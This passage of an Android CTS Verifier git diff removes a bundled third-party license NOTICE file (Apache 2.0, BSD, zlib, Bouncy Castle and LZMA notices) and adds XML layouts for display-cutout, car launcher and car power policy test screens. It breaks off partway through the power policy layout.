-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-======================================================================
-system/libbase/NOTICE
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-Copyright 2010 The Chromium Authors. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-   * Redistributions of source code must retain the above copyright
-notice, this list of conditions and the following disclaimer.
-   * Redistributions in binary form must reproduce the above
-copyright notice, this list of conditions and the following disclaimer
-in the documentation and/or other materials provided with the
-distribution.
-   * Neither the name of Google Inc. nor the names of its
-contributors may be used to endorse or promote products derived from
-this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/pdfium/LICENSE
-
-// Copyright 2014 PDFium Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-//    * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-//    * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-//    * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        https://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       https://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-======================================================================
-external/zlib/LICENSE
-
-version 1.2.11, January 15th, 2017
-
-Copyright (C) 1995-2017 Jean-loup Gailly and Mark Adler
-
-This software is provided 'as-is', without any express or implied
-warranty.  In no event will the authors be held liable for any damages
-arising from the use of this software.
-
-Permission is granted to anyone to use this software for any purpose,
-including commercial applications, and to alter it and redistribute it
-freely, subject to the following restrictions:
-
-1. The origin of this software must not be misrepresented; you must not
-   claim that you wrote the original software. If you use this software
-   in a product, an acknowledgment in the product documentation would be
-   appreciated but is not required.
-2. Altered source versions must be plainly marked as such, and must not be
-   misrepresented as being the original software.
-3. This notice may not be removed or altered from any source distribution.
-
-======================================================================
-external/bouncycastle/NOTICE
-
-Copyright (c) 2000-2015 The Legion of the Bouncy Castle Inc. (http://www.bouncycastle.org)
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
-associated documentation files (the "Software"), to deal in the Software without restriction,
-including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
-and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial
-portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
-LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
-NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
-SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-======================================================================
-external/lzma/NOTICE
-
-LZMA SDK is written and placed in the public domain by Igor Pavlov.
-
-Some code in LZMA SDK is based on public domain code from another developers:
-  1) PPMd var.H (2001): Dmitry Shkarin
-  2) SHA-256: Wei Dai (Crypto++ library)
-
-You can copy, modify, distribute and perform LZMA SDK code, even for commercial purposes,
-all without asking permission.
-
-LZMA SDK code is compatible with open source licenses, for example, you can
-include it to GNU GPL or GNU LGPL code.
-
-======================================================================
diff --git a/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml b/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml
index 18eef3e..b40c71d 100644
--- a/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml
+++ b/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml
@@ -27,6 +27,16 @@
             <corners android:radius="4dp" />
         </shape>
     </item>
+    <item android:state_focused="true">
+        <shape>
+            <solid android:color="#ffbfbfbf" />
+            <padding android:left="4dp"
+                     android:top="4dp"
+                     android:right="4dp"
+                     android:bottom="4dp" />
+            <corners android:radius="4dp" />
+        </shape>
+    </item>
     <item>
         <shape>
             <solid android:color="#ff7f7f7f" />
diff --git a/apps/CtsVerifier/res/layout/car_launcher_test_main.xml b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
new file mode 100644
index 0000000..675e610
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical"
+              android:gravity="center_horizontal"
+              style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:layout_weight="1"
+        android:orientation="vertical">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:gravity="center_horizontal"
+            android:orientation="vertical" >
+
+            <TextView
+                android:id="@+id/car_launcher_test_description"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:padding="10dp"
+                android:text="@string/car_launcher_test_desc"
+                style="@style/InstructionsSmallFont"/>
+
+            <Button
+                android:id="@+id/car_launcher_test_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/car_launcher_test_button_label"
+                android:layout_margin="24dp"/>
+        </LinearLayout>
+    </ScrollView>
+
+    <include
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="0"
+        layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/car_power_policy_test_main.xml b/apps/CtsVerifier/res/layout/car_power_policy_test_main.xml
new file mode 100644
index 0000000..6892247
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/car_power_policy_test_main.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <LinearLayout app:ctsv_layout_box="all"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent"
+        android:orientation="vertical" >
+        <include layout="@layout/pass_fail_buttons"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:paddingVertical="12dp"
+            android:paddingHorizontal="24dp"
+            android:id="@+id/car_power_policy_results"/>
+        <Button
+            android:id="@+id/car_component_power_off_policy_check"
+            android:layout_height="40dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_component_power_off_policy_check"/>
+        <Button
+            android:id="@+id/car_wifi_settings_disable"
+            android:layout_height="40dp"
+            android:layout_width="500dp"
